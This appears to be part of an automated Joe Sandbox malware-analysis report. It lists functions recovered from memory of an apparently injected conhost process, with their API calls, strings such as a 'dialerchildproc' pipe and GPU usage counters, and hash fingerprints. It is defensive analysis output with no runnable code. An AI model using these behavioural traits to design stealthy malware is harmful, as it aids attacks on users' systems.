Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 018e45ed5d0ed26c29d58a38f4c483b10dcb84a5632e802c6b367016c1ffb8cc
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: A0412C3074525442F9B8A73F97DDBAB2A465B45BB0F1C0B249F3606ED7DA7894C29E00

Function 000002408A292FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002408A293001
GetProcessHeap.KERNEL32 ref: 000002408A293016
HeapAlloc.KERNEL32 ref: 000002408A293024
PdhGetCounterInfoW.PDH ref: 000002408A29303A
StrCmpW.SHLWAPI ref: 000002408A29304F

Part of subcall function 000002408A293554: StrCmpNW.SHLWAPI ref: 000002408A293576
Part of subcall function 000002408A293554: StrStrW.SHLWAPI ref: 000002408A293594
Part of subcall function 000002408A293554: StrToIntW.SHLWAPI ref: 000002408A2935BB

GetProcessHeap.KERNEL32 ref: 000002408A29308C
HeapFree.KERNEL32 ref: 000002408A29309A

Strings

\GPU Engine(*)\Running Time, xrefs: 000002408A293048

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: c7feb7eedf3b9f8621111a5b22029b9d0b2d99cae8fab2b120657999524fec73
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: 1E318432700A5086F730CF2BAA8C75AA7A0F788F95F4845299F4943E65DF38D4A68B40

Function 000002408A2930BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002408A29311A
GetProcessHeap.KERNEL32 ref: 000002408A29312B
HeapAlloc.KERNEL32 ref: 000002408A293139
PdhGetCounterInfoW.PDH ref: 000002408A29314F
StrCmpW.SHLWAPI ref: 000002408A293164

Part of subcall function 000002408A293554: StrCmpNW.SHLWAPI ref: 000002408A293576
Part of subcall function 000002408A293554: StrStrW.SHLWAPI ref: 000002408A293594
Part of subcall function 000002408A293554: StrToIntW.SHLWAPI ref: 000002408A2935BB

GetProcessHeap.KERNEL32 ref: 000002408A293191
HeapFree.KERNEL32 ref: 000002408A29319F

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000002408A29315D

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: bf10483d32a2d2cf22a671d4f479baa62898e7a4f68aa7f43a9cd7687d0f8bb7
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: 62314D31714B5186F760DF2BAACCB5AA7A1F784F95F084129DF8A43B25DF38D4968B00

Function 0000024089949D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000024089949DD1

Part of subcall function 000002408994AC44: __GetUnwindTryBlock.LIBCMT ref: 000002408994AC87
Part of subcall function 000002408994AC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002408994ACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000024089949EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002408994A0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002408994A20A

Strings

csm, xrefs: 0000024089949DEB
csm, xrefs: 0000024089949ECC
csm, xrefs: 0000024089949E52

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: 8a582c266cdb55b462c407256a536ff97da4f752aa46bd1d958f90a90b4f8d2e
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: 3CE19D72A05B408AEB62EF69D68C39E37A0F759B98F100115EFC957B99CB34D5C2C708

Function 000002408A29A974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002408A29A9D1

Part of subcall function 000002408A29B844: __GetUnwindTryBlock.LIBCMT ref: 000002408A29B887
Part of subcall function 000002408A29B844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002408A29B8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002408A29AAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002408A29ACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002408A29AE0A

Strings

csm, xrefs: 000002408A29AA52
csm, xrefs: 000002408A29A9EB
csm, xrefs: 000002408A29AACC

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: 8fad1136afd327382d3350423b59f1bba83968f396f9c5b3309f7737dd36f762
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: ADE17E72704B408AEB34DB6AD68879E7BA4F749B98F180155EF8957F99CB34C5C1CB00

Function 000002408A29F7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002408A29F940
GetProcAddress.KERNEL32 ref: 000002408A29F94C

Strings

ext-ms-, xrefs: 000002408A29F89D
api-ms-, xrefs: 000002408A29F88A

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: 2bb4b6e0430cd9218f75abc1b8face2e93e6c144a68c9879fb49ec7bbbb465af
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 6E41B431315A2091FBB5DB1BAA88B563791BB49FA0F0C41259F0E87F84EB78D4C58B10

Function 000002408A29104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002408A2910B1
RegEnumValueW.ADVAPI32 ref: 000002408A291117
GetProcessHeap.KERNEL32 ref: 000002408A29115A
HeapAlloc.KERNEL32 ref: 000002408A291168
GetProcessHeap.KERNEL32 ref: 000002408A291185
HeapFree.KERNEL32 ref: 000002408A291193

Strings

d, xrefs: 000002408A2910D6

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: 21cd235243b833449a4ff2f5587f61f8a2bf6707ba15beecc756b479bdd18fcc
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: DB415573214B84D6E7A0CF66E58879E7BA1F388F98F448119DB8907B58DF38D589CB40

Function 000002408A29D498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000002408A29CC0E,?,?,?,?,?,?,?,?,000002408A29D3CD,?,?,00000001), ref: 000002408A29D4B7
FlsSetValue.KERNEL32(?,?,?,000002408A29CC0E,?,?,?,?,?,?,?,?,000002408A29D3CD,?,?,00000001), ref: 000002408A29D4D6
FlsSetValue.KERNEL32(?,?,?,000002408A29CC0E,?,?,?,?,?,?,?,?,000002408A29D3CD,?,?,00000001), ref: 000002408A29D4FE
FlsSetValue.KERNEL32(?,?,?,000002408A29CC0E,?,?,?,?,?,?,?,?,000002408A29D3CD,?,?,00000001), ref: 000002408A29D50F
FlsSetValue.KERNEL32(?,?,?,000002408A29CC0E,?,?,?,?,?,?,?,?,000002408A29D3CD,?,?,00000001), ref: 000002408A29D520

Strings

Y%, xrefs: 000002408A29D4D6
1%, xrefs: 000002408A29D4FE

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 5cc28e8d6b6a460314d486e035352944372e75f9644a07bfbf1f8cafb2dc8d04
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 8011813034525042FA78972FA7DDB6B2A415B84BB4F5C4724AB3906ED7DE78D4C25F00

Function 000002408A292334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002408A292349
GetCurrentProcessId.KERNEL32 ref: 000002408A292353
CreateFileW.KERNEL32 ref: 000002408A292384
WriteFile.KERNEL32 ref: 000002408A2923AC
ReadFile.KERNEL32 ref: 000002408A2923CB
CloseHandle.KERNEL32 ref: 000002408A2923D4

Strings

\\.\pipe\dialerchildproc, xrefs: 000002408A292365

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: bbd292e3a311497343453d84250fdd13b35bec573ece26ebfdbd0d05645a45f2
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 6F114F31714B5083E7208B26F54875A7761F789BA5F544315EB6A02EA8CF7CC189CF00

Function 000002408A297940 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002408A297968
__scrt_acquire_startup_lock.LIBCMT ref: 000002408A2979BA
_RTC_Initialize.LIBCMT ref: 000002408A2979E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002408A297A0E
__scrt_release_startup_lock.LIBCMT ref: 000002408A297A39

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: a9e9bb5328127e4d5f3f08f0d72b2a3f6a39a8029a23c9eb6b97e4965b81692f
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 0681B43170064186FB78AB6F97D9B9B6B91A785F80F1C40259B4947F96DB38C9C78F00

Function 000002408A29A1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002408A29A3B3,?,?,?,000002408A299B9C,?,?,?,?,000002408A2996BD), ref: 000002408A29A279
GetLastError.KERNEL32(?,?,?,000002408A29A3B3,?,?,?,000002408A299B9C,?,?,?,?,000002408A2996BD), ref: 000002408A29A287
LoadLibraryExW.KERNEL32(?,?,?,000002408A29A3B3,?,?,?,000002408A299B9C,?,?,?,?,000002408A2996BD), ref: 000002408A29A2B1
FreeLibrary.KERNEL32(?,?,?,000002408A29A3B3,?,?,?,000002408A299B9C,?,?,?,?,000002408A2996BD), ref: 000002408A29A2F7
GetProcAddress.KERNEL32(?,?,?,000002408A29A3B3,?,?,?,000002408A299B9C,?,?,?,?,000002408A2996BD), ref: 000002408A29A303

Strings

api-ms-, xrefs: 000002408A29A299

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: de6f46274b704ba40738bf3eef57c5b6ad785ce075c2bcb14a505a1eb100e408
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 2131C431702B4095EE329B4BAA88B562B94F708FA0F5D05259F1E07F91DF39D5C6CB00

Function 000002408A2A41E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002408A2A4215
GetLastError.KERNEL32 ref: 000002408A2A4221
CloseHandle.KERNEL32 ref: 000002408A2A4239
CreateFileW.KERNEL32 ref: 000002408A2A4264
WriteConsoleW.KERNEL32 ref: 000002408A2A4283

Strings

CONOUT$, xrefs: 000002408A2A4245

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: 28c1958d75fad3510e3d85040f47546b7a5e8836a2e4408dbab6e218ef05a4e7
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: 7E116032310B5086E7608B5BEA8831967A4F788BE5F044215EB6E87F94CF38E8848B40

Function 000002408A293BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002408A29365F), ref: 000002408A293C5A

Strings

wr, xrefs: 000002408A293C2F

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 5e5a353675d72f869b81ff16ecbed8a03f8347fedfe551c5579f1f093f18abbd
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: F0118B36300B4182EB649B2AE58C76A66A1F788F94F080428DF8D03F94EF3DD5D88B04

Function 000002408A295F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002408A295F9B
GetThreadContext.KERNEL32 ref: 000002408A296105

Part of subcall function 000002408A295D90: GetCurrentThreadId.KERNEL32 ref: 000002408A295D94

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: 846c293be091fd7fe1fd5e3779cccd28122c1c148bb8d23bf259577605930977
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: 56D18876308B8886DA70DB1AE59875ABBA0F788F94F540116EBCD47BA5CF38C591CF10

Function 000002408A2931CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000002408A2922ED), ref: 000002408A2931EF
HeapAlloc.KERNEL32(?,?,?,?,?,000002408A2922ED), ref: 000002408A293202
StrCmpNIW.SHLWAPI(?,?,?,?,?,000002408A2922ED), ref: 000002408A293277
GetProcessHeap.KERNEL32(?,?,?,?,?,000002408A2922ED), ref: 000002408A2932DD
HeapFree.KERNEL32(?,?,?,?,?,000002408A2922ED), ref: 000002408A2932EB

Strings

dialer, xrefs: 000002408A293270

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: f8bcaffac90bfc331d76808b0ea06013533e61bff56cb75c28ecb3ca2b43f933
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: 4E318431B01B5182EB64DF6BE688B6A6BA1FB54F80F0840288F5847F55EF34D8F58B00

Function 000002408A29D3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29D3DF
FlsSetValue.KERNEL32(?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29D415
FlsSetValue.KERNEL32(?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29D442
FlsSetValue.KERNEL32(?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29D453
FlsSetValue.KERNEL32(?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29D464
SetLastError.KERNEL32(?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29D47F

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: 2f6d3f41572074dbf797a3b89f2bab5dad8723c2f0bdf8ccaf074c688e9ccf9d
